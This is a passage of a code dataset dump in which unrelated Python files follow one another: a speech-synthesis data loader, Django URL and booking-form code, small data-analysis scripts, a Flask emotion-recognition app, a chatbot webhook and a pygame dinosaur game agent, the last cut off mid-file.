get_example(self, i):\n fname, raw_text, normalized_text = self._table.iloc[i]\n fname = str(self._wav_dir.joinpath(fname + \".wav\"))\n return fname, raw_text, normalized_text\n\n def __len__(self):\n return len(self._table)\n\n\nclass LJSpeech(object):\n def __init__(self, config):\n super(LJSpeech, self).__init__()\n self.config = config\n self._ljspeech_processor = audio.AudioProcessor(\n sample_rate=config['audio']['sr'],\n num_mels=config['audio']['num_mels'],\n min_level_db=config['audio']['min_level_db'],\n ref_level_db=config['audio']['ref_level_db'],\n n_fft=config['audio']['n_fft'],\n win_length=config['audio']['win_length'],\n hop_length=config['audio']['hop_length'],\n power=config['audio']['power'],\n preemphasis=config['audio']['preemphasis'],\n signal_norm=True,\n symmetric_norm=False,\n max_norm=1.,\n mel_fmin=0,\n mel_fmax=None,\n clip_norm=True,\n griffin_lim_iters=60,\n do_trim_silence=False,\n sound_norm=False)\n\n def __call__(self, metadatum):\n \"\"\"All the code for generating an Example from a metadatum. If you want a \n different preprocessing pipeline, you can override this method. \n This method may require several processor, each of which has a lot of options.\n In this case, you'd better pass a composed transform and pass it to the init\n method.\n \"\"\"\n fname, raw_text, normalized_text = metadatum\n\n # load -> trim -> preemphasis -> stft -> magnitude -> mel_scale -> logscale -> normalize\n wav = self._ljspeech_processor.load_wav(str(fname))\n mag = self._ljspeech_processor.spectrogram(wav).astype(np.float32)\n mel = self._ljspeech_processor.melspectrogram(wav).astype(np.float32)\n phonemes = np.array(\n g2p.en.text_to_sequence(normalized_text), dtype=np.int64)\n return (mag, mel, phonemes\n ) # maybe we need to implement it as a map in the future\n\n\ndef batch_examples(batch):\n texts = []\n mels = []\n mel_inputs = []\n mel_lens = []\n text_lens = []\n pos_texts = []\n pos_mels = []\n for data in batch:\n _, mel, text = data\n mel_inputs.append(\n np.concatenate(\n [np.zeros([mel.shape[0], 1], np.float32), mel[:, :-1]],\n axis=-1))\n mel_lens.append(mel.shape[1])\n text_lens.append(len(text))\n pos_texts.append(np.arange(1, len(text) + 1))\n pos_mels.append(np.arange(1, mel.shape[1] + 1))\n mels.append(mel)\n texts.append(text)\n\n # Sort by text_len in descending order\n texts = [\n i\n for i, _ in sorted(\n zip(texts, text_lens), key=lambda x: x[1], reverse=True)\n ]\n mels = [\n i\n for i, _ in sorted(\n zip(mels, text_lens), key=lambda x: x[1], reverse=True)\n ]\n mel_inputs = [\n i\n for i, _ in sorted(\n zip(mel_inputs, text_lens), key=lambda x: x[1], reverse=True)\n ]\n mel_lens = [\n i\n for i, _ in sorted(\n zip(mel_lens, text_lens), key=lambda x: x[1], reverse=True)\n ]\n pos_texts = [\n i\n for i, _ in sorted(\n zip(pos_texts, text_lens), key=lambda x: x[1], reverse=True)\n ]\n pos_mels = [\n i\n for i, _ in sorted(\n zip(pos_mels, text_lens), key=lambda x: x[1], reverse=True)\n ]\n text_lens = sorted(text_lens, reverse=True)\n\n # Pad sequence with largest len of the batch\n texts = TextIDBatcher(pad_id=0)(texts) #(B, T)\n pos_texts = TextIDBatcher(pad_id=0)(pos_texts) #(B,T)\n pos_mels = TextIDBatcher(pad_id=0)(pos_mels) #(B,T)\n mels = np.transpose(\n SpecBatcher(pad_value=0.)(mels), axes=(0, 2, 1)) #(B,T,num_mels)\n mel_inputs = np.transpose(\n SpecBatcher(pad_value=0.)(mel_inputs), axes=(0, 2, 1)) #(B,T,num_mels)\n\n enc_slf_mask = get_attn_key_pad_mask(pos_texts).astype(np.float32)\n enc_query_mask = get_non_pad_mask(pos_texts).astype(np.float32)\n dec_slf_mask = get_dec_attn_key_pad_mask(pos_mels,\n mel_inputs).astype(np.float32)\n enc_dec_mask = get_attn_key_pad_mask(enc_query_mask[:, :, 0]).astype(\n np.float32)\n dec_query_slf_mask = get_non_pad_mask(pos_mels).astype(np.float32)\n dec_query_mask = get_non_pad_mask(pos_mels).astype(np.float32)\n\n return (texts, mels, mel_inputs, pos_texts, pos_mels, np.array(text_lens),\n np.array(mel_lens), enc_slf_mask, enc_query_mask, dec_slf_mask,\n enc_dec_mask, dec_query_slf_mask, dec_query_mask)\n\n\ndef batch_examples_vocoder(batch):\n mels = []\n mags = []\n for data in batch:\n mag, mel, _ = data\n mels.append(mel)\n mags.append(mag)\n\n mels = np.transpose(SpecBatcher(pad_value=0.)(mels), axes=(0, 2, 1))\n mags = np.transpose(SpecBatcher(pad_value=0.)(mags), axes=(0, 2, 1))\n\n return (mels, mags)\n","sub_path":"examples/transformer_tts/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":8026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"637087289","text":"from django.conf.urls import patterns, include, url\nfrom djangoproject.views import hello,current_datetime,hours_ahead,adminpage,adminpanel,show_clicker,iEventAjax,search_form\n\nfrom news.views import news_table,news_form,save_news,news_form_editor,delete_news\nfrom books.views import showBooks,edit_publisher,add_publisher,delete_publisher,search\n\n\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'djangoproject.views.home', name='home'),\n # url(r'^djangoproject/', include('djangoproject.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n # url(r'^admin/', include(admin.site.urls)),\n url(r'^hello/$', hello),\n url(r'^time/$',current_datetime),\n url(r'^another-time-page/$',current_datetime),\n url(r'^time/plus/(\\d{1,2})/$', hours_ahead),\n url(r'^login.html$',adminpage),\n url(r'^sampol.html$',adminpanel),\n url(r'^index.html$',showBooks),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^search-form',search_form),\n url(r'^search/',search),\n url(r'^$',adminpage),\n url(r'^show_clicker/$',show_clicker),\n url(r'^ajaxrequest$', iEventAjax),\n url(r'^show-books$',showBooks),\n url(r'^show-publisher$',showBooks), \n url(r'^publisher/edit/(\\d{1,2})/$',edit_publisher),\n url(r'^publisher/add/$',add_publisher),\n url(r'^publisher/delete/(\\d{1,2})/$',delete_publisher),\n url(r'^news/$',news_table),\n url(r'^news-editor/$',news_form),\n url(r'^save-news/$',save_news),\n url(r'^news/edit/(\\d{1,2})/$',news_form_editor),\n url(r'^delete-news/(\\d{1,2})/$',delete_news)\n \n)\n","sub_path":"djangoproject/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"360152672","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 24 10:51:27 2016\n\n@author: aliciagyori\n\"\"\"\n\nimport pandas as pd\nimport csv \nimport numpy as np\n#cycle through percentage, find the mean of first 19, find the difference between\n#last and mean. divide that by mean and add to a list. then do that for the next\n#novel. find mean of all novels for that percentage\n#go to next percentage and do same thing \n#compare means of all percentage to find the smallest percentage\n\n\n\ndef find_this(df, t, x):\n ratio = (df['total_char'].sum()/3) - (.02 * (int(len(df) - 1)))\n w = 0\n sent_stop = []\n while w <= ratio:\n w = df['total_char'][t:x].sum()\n sent_stop.append(x)\n x += 1\n return max(sent_stop)\n\n\ndef start_stop(df): \n #nn = str(x)\n #df = pd.read_csv('novel_'+nn+'list_1.csv') \n t = 0\n x = 0\n start_point = []\n stop_point = []\n for n in range(1,3):\n s = find_this(df, t, x)\n start_point.append(t)\n stop_point.append(s)\n t = s\n x = s + 1\n start_point.append(stop_point[1]) \n stop_point.append(len(df))\n return start_point, stop_point\n \n#creates the reject_list by cycling through all of the reject lists \ndef reject_list():\n main_rejects = []\n with open('list_1_rejects.csv') as csvfile:\n listreader = csv.reader(csvfile.read().splitlines())\n for row in listreader:\n main_rejects.append(row[0])\n with open('list_1_rejects_2.csv') as csvfile:\n listreader = csv.reader(csvfile.read().splitlines())\n for row in listreader:\n main_rejects.append(row[0])\n with open('list_1_rejects_3.csv') as csvfile:\n listreader = csv.reader(csvfile.read().splitlines())\n for row in listreader:\n main_rejects.append(row[0])\n return main_rejects \n#creats the main list by adding all of the novels to main_list that are not in \n#the reject list \ndef main_list():\n main_list = []\n reject_li = reject_list()\n with open('list_1.csv', 'r') as csvfile:\n listreader = csv.reader(csvfile.read().splitlines())\n for row in listreader:\n nv = row[0]\n if nv in reject_li:\n pass\n else:\n main_list.append(nv)\n return main_list\n \n#finds \ndef total_char_sum(novel_num):\n nn = str(novel_num)\n df = pd.read_csv('novel_'+nn+'list_1.csv') \n three_pieces = []\n start_point, stop_point = start_stop(df)\n for l in range(0,3):\n sr = start_point[l]\n st = stop_point[l]\n r = df['sentiment'][sr:st].mean()\n three_pieces.append(r) \n return three_pieces \n\ndef to_csv(novel_num):\n three_pieces = total_char_sum(novel_num)\n three_pieces.insert(0,novel_num)\n with open('three_pieces.csv', 'a') as f:\n writer = csv.writer(f)\n writer.writerow(three_pieces) \n#cyles through all of the novels that are not on the reject list and have dataframes \n #and finds the perc differance between the first 19 and the last piece of each\n #novel for a particular percentage point\n\ndef main():\n main_li = main_list()\n for l in main_li:\n to_csv(l)\n #twenty_pieces = total_char_sum(l)\n #print twenty_pieces\n \n\n \n \n#.02 seems to help the most ","sub_path":"novel_processing/code/three_pieces.py","file_name":"three_pieces.py","file_ext":"py","file_size_in_byte":3313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"263157342","text":"import rhinoscriptsyntax as rs\nimport math as m\n\ndef vecRotate(vec,ang,axis):\n cos = m.cos(m.pi/180*ang)\n sin = m.sin(m.pi/180*ang)\n v = vec\n u = vecUnitize(axis)\n R1,R2,R3 = [] , [] , []\n c = 1-cos\n\n R1.append(cos+m.pow(u[0],2)*c)\n R1.append(u[0]*u[1]*c-u[2]*sin)\n R1.append(u[0]*u[2]*c+u[1]*sin)\n \n R2.append(u[1]*u[0]*c+u[2]*sin)\n R2.append(cos+m.pow(u[1],2)*c)\n R2.append(u[1]*u[2]*c-u[0]*sin)\n \n R3.append(u[2]*u[0]*c-u[1]*sin)\n R3.append(u[2]*u[1]*c+u[0]*sin)\n R3.append(cos+m.pow(u[2],2)*c)\n \n x = vecDot(v,R1)\n y = vecDot(v,R2)\n z = vecDot(v,R3)\n \n return [x,y,z]\n\ndef vecMag(vec):\n sum = 0 \n for i in range(len(vec)):\n sum = sum+m.pow(vec[i],2)\n sum = m.pow(sum,.5)\n return sum\n\ndef transpose(matrix):\n transpose = [] \n for i in range(len(matrix[0])):\n for j in range(len(matrix)):\n transpose.append(matrix[j][i])\n return transpose\n\ndef vecUnitize(vec):\n mag = vecMag(vec)\n for i in range(len(vec)):\n vec[i] = vec[i]/mag\n return vec\n\ndef vecDot(v1,v2):\n sum = 0 \n for i in range(len(v1)):\n sum = v1[i]*v2[i] + sum\n return sum\n\ndef vecAng(v1,v2):\n v1 = vecUnitize(v1)\n v2 = vecUnitize(v2)\n val = vecDot(v1,v2)\n ang = m.acos(val)\n return ang\n\n\ndef focalParabola(x,py):\n y = m.pow(x,2)/(2*py)+py\n return y\n\ndef Main():\n paths = rs.GetObjects(\"please select path curves\",rs.filter.curve)\n srf = rs.GetObject(\"please select surface\",rs.filter.surface)\n for n in range(len(paths)):\n crvs = []\n pts = []\n amnt = 15\n py=10\n for i in range(amnt):\n nParam = 1/amnt*i\n param = rs.CurveParameter(paths[n],nParam)\n focal = rs.EvaluateCurve(paths[n],param)\n tan = rs.CurveTangent(paths[n],param)\n srfParam = rs.SurfaceClosestPoint(srf,focal)\n axis = rs.SurfaceNormal(srf,srfParam)\n r = 40*(1-nParam+1/amnt)+5\n py = 10*(1-nParam+1/amnt) \n x = rs.VectorRotate(tan,90,axis)*(-r/2)\n xPt = rs.PointAdd(focal,x)\n for j in range(int(r)):\n x = rs.VectorRotate(tan,90,axis)\n xPt = rs.PointAdd(xPt,x)\n y = focalParabola((j-r/2),py)\n pt = rs.PointAdd(xPt,tan*y)\n srfParam = rs.SurfaceClosestPoint(srf,pt)\n axis = rs.SurfaceNormal(srf,srfParam)\n pts.append(pt)\n crv = rs.PullCurve(srf,rs.AddCurve(pts),True)\n crvs.append(crv)\n pts = []\n\nMain()","sub_path":"basic_Wake.py","file_name":"basic_Wake.py","file_ext":"py","file_size_in_byte":2606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"636763907","text":"import datetime\r\nimport json\r\nimport numpy\r\n\r\n\r\nfrom scipy.spatial.distance import jensenshannon\r\nfrom numpy import asarray\r\n\r\npath_light = \"FF66_2150_Middle_Event_RL_Adapted.txt\"\r\nlight_divider = 2\r\nProb_list = []\r\n\r\ndef PIR_pdf(start_date, end_date):\r\n light_list = []\r\n file_data = []\r\n PIR_list = []\r\n\r\n start_date = datetime.datetime.strptime(start, '%m/%d/%y %H:%M:%S')\r\n end_date = datetime.datetime.strptime(end, '%m/%d/%y %H:%M:%S')\r\n end_date_temp = start_date + datetime.timedelta(hours=1)\r\n path_light_data = path_light\r\n PIR = 0\r\n tot_events = 0\r\n with open(path_light_data, 'r') as f:\r\n for line in f:\r\n line_split = line.split(\"|\")\r\n checker = datetime.datetime.strptime(line_split[0], '%m/%d/%y %H:%M:%S')\r\n if start_date <= checker and checker <= end_date_temp:\r\n file_data.append(line)\r\n light_list.append(int(line_split[8]))\r\n PIR += int(line_split[6])\r\n if checker > end_date_temp:\r\n start_date = end_date_temp\r\n end_date_temp = start_date + datetime.timedelta(hours=1)\r\n PIR_list.append(PIR)\r\n tot_events += PIR\r\n PIR = 0\r\n if checker >= end_date:\r\n PIR_list_day = [i/tot_events for i in PIR_list]\r\n break\r\n print(PIR_list_day)\r\n return PIR_list_day\r\n\r\nfor i in range(0,1):\r\n start = \"12/02/19 00:00:00\"\r\n end = \"12/03/19 00:00:00\"\r\n Prob_list.append(PIR_pdf(start, end))\r\n start = \"12/04/19 00:00:00\"\r\n end = \"12/05/19 00:00:00\"\r\n Prob_list.append(PIR_pdf(start, end))\r\n start = \"12/05/19 00:00:00\"\r\n end = \"12/06/19 00:00:00\"\r\n Prob_list.append(PIR_pdf(start, end))\r\n start = \"12/06/19 00:00:00\"\r\n end = \"12/07/19 00:00:00\"\r\n Prob_list.append(PIR_pdf(start, end))\r\n start = \"12/07/19 00:00:00\"\r\n end = \"12/08/19 00:00:00\"\r\n Prob_list.append(PIR_pdf(start, end))\r\n\r\n\r\n\r\n\r\np = asarray(Prob_list[0])\r\nq = asarray(Prob_list[1])\r\n# calculate JS(P || Q)\r\njs_pq = jensenshannon(p, q, base=2)\r\nprint('JS(P || Q) Distance: %.3f' % js_pq)\r\n\r\np = asarray(Prob_list[1])\r\nq = asarray(Prob_list[2])\r\n# calculate JS(P || Q)\r\njs_pq = jensenshannon(p, q, base=2)\r\nprint('JS(P || Q) Distance: %.3f' % js_pq)\r\n\r\np = asarray(Prob_list[2])\r\nq = asarray(Prob_list[3])\r\n# calculate JS(P || Q)\r\njs_pq = jensenshannon(p, q, base=2)\r\nprint('JS(P || Q) Distance: %.3f' % js_pq)\r\n\r\np = asarray(Prob_list[3])\r\nq = asarray(Prob_list[4])\r\n# calculate JS(P || Q)\r\njs_pq = jensenshannon(p, q, base=2)\r\nprint('JS(P || Q) Distance: %.3f' % js_pq)\r\n\r\nexit()\r\n\r\n\r\nbins = numpy.linspace(0, 1000, 10)\r\n#print(bins)\r\n\r\ndata = light_list\r\n#print(light_list)\r\n#print(sum(light_list)/len(light_list))\r\ndigitized = numpy.digitize(data, bins)\r\n#print(\"digit\", digitized)\r\nlenght = len(light_list)\r\n#bin_means = [data[digitized == i].mean() for i in range(1, len(bins))]\r\n#print(bin_means)\r\n#print(numpy.histogram(data, bins, weights=data)[0])\r\n#print(numpy.histogram(data, bins)[0])\r\nbin_means = (numpy.histogram(data, bins, weights=data)[0] /\r\n numpy.histogram(data, bins)[0])\r\nday_1 = numpy.histogram(data, bins)[0]/lenght\r\nday_2 = numpy.histogram(data, bins)[0]/lenght\r\nprint(day_1)\r\n\r\n# calculate the jensen-shannon distance metric\r\n# define distributions\r\np = asarray(day_1)\r\nq = asarray(day_2)\r\n# calculate JS(P || Q)\r\njs_pq = jensenshannon(p, q, base=2)\r\nprint('JS(P || Q) Distance: %.3f' % js_pq)\r\n# calculate JS(Q || P)\r\njs_qp = jensenshannon(q, p, base=2)\r\n#print('JS(Q || P) Distance: %.3f' % js_qp)\r\n","sub_path":"Continuos_Learn/1-day/bin_prob.py","file_name":"bin_prob.py","file_ext":"py","file_size_in_byte":3595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"497627612","text":"def make_bar(start): # 매개변수로 시작 인덱스를 입력받음\n conn = [screw[start]] # 초기값으로 시작 나사를 넣어 놓음\n use = [0] * N # 내가 해당 위치의 나사를 썼는지를 체크하기 위한 리스트\n use[start] = 1 # start 위치의 나사는 사용을 했기 때문에 1로 표시\n\n for i in range(N - 1): # 첫번째 나사를 이미 정했기 때문에 N-1번만 돌면서 넣을 준비\n isOk = False # 다음 나사 연결 됬는지 안됬는지 체크하기위한 변수\n # 한 사이클이 돌때매다 초기화 한다.\n for j in range(N): # 어떤 나사�� 올 수 있을지 모르니 처음부터 끝까지 반복\n # 만약 j위치의 나사를 사용하지 않았고\n # 이미연결된 conn[i]의암나사와 screw[j]의 수나사가 연결이 될 수 있다면\n if use[j] == 0 and conn[i][1] == screw[j][0]:\n # 연결을 한다.\n conn.append(screw[j])\n use[j] = 1 # j위치의 나사는 사용을 한것이므로 1로 표시\n isOk = True # 이번 사이클에서는 연결을 한거니까 다음 반복문을 돌 준비를 한다.\n # 연결이 됬으니 반복문을 죽여버림.\n break\n # 만약 연결을 하지 못했다면 더 이상의 반복문을 도는 것은 의미가 없으니 break\n if not isOk:\n break\n # 지금까지 연결한 상태를 return 최소크기는 1이다.\n # 우리가 시작나사를 넣고 시작하니.\n return conn\n\n\nT = int(input())\n\nfor tc in range(1, T + 1):\n # 나사의 갯수 N과 수나사 암나사가 적힌 입력 한줄 받기\n N = int(input())\n line = list(map(int, input().split()))\n\n # 입력 받은 나사의 수만큼 0으로 초기화\n screw = [0] * N\n idx = 0 # 밑에 반복이 2칸씩 뛰기 때문에 나사를 위한 인덱스\n # 사실 screw = [] 처럼 빈리스트를 선언하고 밑에서 인덱스 접근이 아니라\n # screw.append([line[i], line[i+1]을 하면 idx 변수는 필요없음.\n # 2칸씩 움직이는 반복문을 돌면서 screw 채우기\n for i in range(0, len(line), 2):\n screw[idx] = [line[i], line[i + 1]]\n idx += 1\n\n # 정답을 담을 공백리스트 선언\n ans = []\n # 첫번째 나사로 모든 나사를 해봐야 하기 때문에 나사 수 만큼 반복\n for i in range(N):\n # make_bar 함수를 이용해 내가 지금 만들수 있는 가장 긴 막대를 만들어\n # tmp에 임시로 저장하기\n tmp = make_bar(i)\n # tmp의 길이가 ans보다 길게 되면 더 많은 연결이 있었다는것 고로 변경\n if len(ans) < len(tmp):\n ans = tmp\n\n # 출력문\n print(\"#{}\".format(tc), end=\" \")\n for i in range(N):\n print(\"{} {}\".format(ans[i][0], ans[i][1]), end=\" \")\n print()","sub_path":"알고리즘3일차_0205/금속막대 오픈소스.py","file_name":"금속막대 오픈소스.py","file_ext":"py","file_size_in_byte":2941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"230809740","text":"from django import forms\nfrom booking.models import Booking\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.forms.widgets import PasswordInput, TextInput\nfrom datetime import datetime, timedelta\n\n\nclass DateTimeWidget(forms.widgets.MultiWidget):\n def __init__(self, attrs=None):\n widgets = [forms.TextInput(attrs={'type': 'date'}),\n forms.TextInput(attrs={'type': 'time'})]\n super(DateTimeWidget, self).__init__(widgets, attrs)\n\n def decompress(self, value):\n if value:\n return [value.date(), value.time()]\n else:\n return ['', '']\n\n\nclass DateTimeField(forms.fields.MultiValueField):\n widget = DateTimeWidget\n\n def __init__(self, *args, **kwargs):\n list_fields = [forms.fields.DateField(),\n forms.fields.TimeField()]\n super(DateTimeField, self).__init__(list_fields, *args, **kwargs)\n\n def compress(self, values):\n return datetime.strptime(\"{}T{}\".format(*values), \"%Y-%m-%dT%H:%M:%S\")\n\n\nclass BookingForm(forms.ModelForm):\n start = DateTimeField()\n end = DateTimeField()\n\n class Meta:\n model = Booking\n fields = '__all__'\n widgets = {\n 'bookable': forms.HiddenInput(),\n 'user': forms.HiddenInput(),\n 'comment': forms.TextInput(attrs={'autocomplete': 'off'})\n }\n\n def clean_start(self):\n start = self.cleaned_data['start']\n # If start is in the past, make it \"now\"\n return datetime.now() if start < datetime.now() else start\n\n def clean_end(self):\n end = self.cleaned_data['end']\n # Check that booking is not in the past\n if end <= datetime.now():\n raise forms.ValidationError(\"Booking may not be in the past\")\n return end\n\n def clean(self):\n cleaned_data = super().clean()\n bookable = cleaned_data.get(\"bookable\")\n start = cleaned_data.get(\"start\")\n end = cleaned_data.get(\"end\")\n\n if bookable and start and end:\n # Check that end is not earlier than start\n if end <= start:\n raise forms.ValidationError(\"Booking cannot end before it begins\")\n\n # Check that booking does not violate bookable limits\n if bookable.forward_limit_days > 0 and datetime.now() + timedelta(days=bookable.forward_limit_days) < end:\n raise forms.ValidationError(\n \"{} may not be booked more than {} days in advance\".format(\n bookable.name, bookable.forward_limit_days\n )\n )\n\n booking_length = (end - start)\n booking_length_hours = booking_length.days * 24 + booking_length.seconds / 3600\n if bookable.length_limit_hours > 0 and booking_length_hours > bookable.length_limit_hours:\n raise forms.ValidationError(\n \"{} may not be booked for longer than {} hours\".format(bookable.name, bookable.length_limit_hours)\n )\n\n # Check that booking does not overlap with previous bookings\n overlapping = Booking.objects.filter(\n bookable=bookable, start__lt=end, end__gt=start)\n if overlapping:\n warning = \"Error: Requested booking is overlapping with the following bookings:\"\n errors = [forms.ValidationError(warning)]\n for booking in overlapping:\n errors.append(forms.ValidationError('• ' + str(booking)))\n raise forms.ValidationError(errors)\n\n\nclass CustomLoginForm(AuthenticationForm):\n username = forms.CharField(widget=TextInput(attrs={'class':'validate offset-2 col-8','placeholder': 'Username'}))\n password = forms.CharField(widget=PasswordInput(attrs={'class':'offset-2 col-8','placeholder':'Password'}))\n","sub_path":"fars/booking/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"531473303","text":"import math\ninstructions = open('1.txt').read().split(', ')\nx,y,dir = 0,0,0\nvisited = set()\ndef visit(x,y):\n if (x,y) in visited:\n print(abs(x)+abs(y))\n exit()\n visited.add((x,y))\ndef moveto(newx,newy):\n if y == newy:\n for i in range(x,newx,int(math.copysign(1,newx+1-x))):\n visit(i,y)\n if x == newx:\n for j in range(y,newy,int(math.copysign(1,newy+1-y))):\n visit(x,j)\n return newx,newy\nfor instruction in instructions:\n r, d = instruction[0], int(instruction[1:])\n dir = (dir + {'L':-1, 'R':1}[r]) % 4\n newx = x + d * {0: 0, 1: 1, 2: 0, 3: -1}[dir]\n newy = y + d * {0: 1, 1: 0, 2: -1, 3: 0}[dir]\n moveto(newx,newy)\n x,y = newx, newy\n","sub_path":"16/1b.py","file_name":"1b.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"396548635","text":"from seq2seq import *\n\nseq2seq.init()\n\n\ndef get_params(req):\n result = req.get(\"queryResult\")\n id = result.get(\"intent\").get(\"displayName\")\n parameters = result.get(\"parameters\")\n\n origin = parameters.get(\"origin\")\n if isinstance(origin, dict):\n origin = next(iter(parameters.get(\"origin\").values()), '').strip()\n\n destination = parameters.get(\"destination\")\n if isinstance(destination, dict):\n destination = next(iter(parameters.get(\"destination\").values()), '').strip()\n\n targets = parameters.get(\"target\")\n middleboxes = parameters.get(\"middlebox\")\n\n qos = None\n\n start = parameters.get(\"start\")\n if isinstance(start, dict):\n start = next(iter(parameters.get(\"start\").values()), '').strip()\n\n end = parameters.get(\"end\")\n if isinstance(end, dict):\n end = next(iter(parameters.get(\"end\").values()), '').strip()\n\n allow = parameters.get(\"allow\")\n block = parameters.get(\"block\")\n\n return id, origin, destination, targets, middleboxes, qos, start, end, allow, block\n\n\ndef build_nile_intent(req):\n id, origin, destination, targets, middleboxes, qos, start, end, allow, block = get_params(req)\n\n intent = seq2seq.translate(id, origin, destination, targets, middleboxes, qos, start, end, allow, block)\n for op in config.NILE_OPERATIONS:\n intent = intent.replace(op + \" \", \" \\n    **\" + op + \"** \")\n\n speech = \"Is this what you want?\"\n print(\"Response:\", speech + \" \" + intent)\n\n return {\n \"fulfillmentText\": speech,\n \"fulfillmentMessages\": [\n {\n \"text\": {\n \"text\": speech + \" \" + intent\n }\n }\n ],\n \"payload\": {\n \"google\": {\n \"expectUserResponse\": True,\n \"richResponse\": {\n \"items\": [\n {\n \"simpleResponse\": {\n \"textToSpeech\": speech\n }\n },\n {\n \"basicCard\": {\n \"title\": \"Here is your intent.\",\n \"formattedText\": intent\n }\n }\n ]\n }\n }\n },\n \"outputContexts\": [\n {\n \"name\": \"projects/nira-68681/agent/sessions/eeeadd4f-8905-fed6-7919-b28ee616bd51/contexts/build-followup\",\n \"lifespanCount\": 5,\n \"parameters\": {\n \"intent\": intent\n }\n }\n ]\n }\n\n\ndef build_accepted(req):\n print(\"accepted\", req)\n return {\n \"payload\": {\n \"google\": {\n \"expectUserResponse\": False,\n \"richResponse\": {\n \"items\": [\n {\n \"simpleResponse\": {\n \"textToSpeech\": \"Okay! Intent compiled and deployed!\"\n }\n }\n ]\n }\n }\n }\n }\n\n\ndef build_feedback(req):\n print(\"denied\", req)\n return {\n \"payload\": {\n \"google\": {\n \"expectUserResponse\": False,\n \"richResponse\": {\n \"items\": [\n {\n \"simpleResponse\": {\n \"textToSpeech\": \"Okay! Intent compiled and deployed!\"\n }\n }\n ]\n }\n }\n }\n }\n\n\nactions = {\n \"build.nile\": build_nile_intent,\n \"build.build-yes\": build_accepted,\n \"build.build-no\": build_feedback\n}\n","sub_path":"actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":3823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"26906366","text":"from flask import Flask, render_template, request\r\nfrom werkzeug.utils import secure_filename\r\nfrom features import extract_feature\r\nimport pickle\r\nimport os\r\nimport numpy as np\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.neural_network import MLPClassifier\r\n\r\napp = Flask(__name__)\r\n\r\n## Configure upload location for audio\r\napp.config['UPLOAD_FOLDER'] = \"./audio\"\r\n\r\n## Route for home page\r\n@app.route('/')\r\ndef home():\r\n return render_template('index.html',value=\"\")\r\n\r\n\r\n## Route for results\r\n@app.route('/results', methods = ['GET', 'POST'])\r\ndef results():\r\n\r\n if not os.path.isdir(\"./audio\"):\r\n os.mkdir(\"audio\")\r\n\r\n if request.method == 'POST':\r\n try:\r\n f = request.files['file']\r\n filename = secure_filename(f.filename)\r\n f.save(os.path.join(app.config[\"UPLOAD_FOLDER\"], filename))\r\n except:\r\n return render_template('index.html', value=\"\")\r\n\r\n wav_file = os.listdir(\"./audio\")[0]\r\n wav_file = f\"{os.getcwd()}/audio/{wav_file}\"\r\n model = pickle.load(open(f\"{os.getcwd()}/result/mlp_classifier.model\", \"rb\"))\r\n x_test = extract_feature(wav_file)\r\n y_pred = model.predict(np.array([x_test])) \r\n os.remove(wav_file)\r\n return render_template('index.html', value= y_pred[0],text= \"The emotion of speaker is \")\r\n print( y_pred)\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"622512353","text":"import numpy\nimport pygame\nimport os\n\nfrom neural_network import NeuralNetwork\n\nclass Const():\n\n DINO_WIDTH = 59\n DINO_HEIGHT = 63\n DINO_OFFSET_TOP = 237\n DINO_OFFSET_LEFT = 50\n\n DINO_WIDTH_DUCKING = 79\n DINO_HEIGHT_DUCKING = 40\n DINO_OFFSET_TOP_DUCKING = 260\n\n DISTANCE_OFFSET_X = 870\n DISTANCE_OFFSET_Y = 400\n\nclass DinosaurAgent():\n\n def __init__(self):\n\n # Resources path\n self.resources_path = os.getcwd() + '/sprites/'\n\n # Load running images\n self.frame_run = 0\n self.running_images = []\n self.running_images.append(pygame.image.load(self.resources_path + 'dino_run_0.png'))\n self.running_images.append(pygame.image.load(self.resources_path + 'dino_run_1.png'))\n\n # Load ducking images\n self.frame_duck = 0\n self.ducking_images = []\n self.ducking_images.append(pygame.image.load(self.resources_path + 'dino_duck_0.png'))\n self.ducking_images.append(pygame.image.load(self.resources_path + 'dino_duck_1.png'))\n\n # Set color\n self.color = (196, 6, 6)\n\n\n # Initialize properties\n self.x = Const.DINO_OFFSET_LEFT\n self.y = Const.DINO_OFFSET_TOP\n self.w = Const.DINO_WIDTH\n self.h = Const.DINO_HEIGHT\n\n self.score = 0\n self.fitness = 0\n\n # Initialize states\n self.is_running = True\n self.is_jumping = False\n self.is_ducking = False\n\n # Initialize neural network\n self.neural_network = NeuralNetwork()\n self.jump_count_const = 8\n self.jump_count_running_var = self.jump_count_const\n\n\n def draw(self, window):\n\n # RUNNING\n if self.y == Const.DINO_OFFSET_TOP:\n if self.frame_run >= 16:\n self.frame_run = 0\n window.blit(pygame.transform.scale(self.running_images[self.frame_run // 8],\n (Const.DINO_WIDTH, Const.DINO_HEIGHT)), (self.x, self.y))\n self.frame_run += 1\n\n # 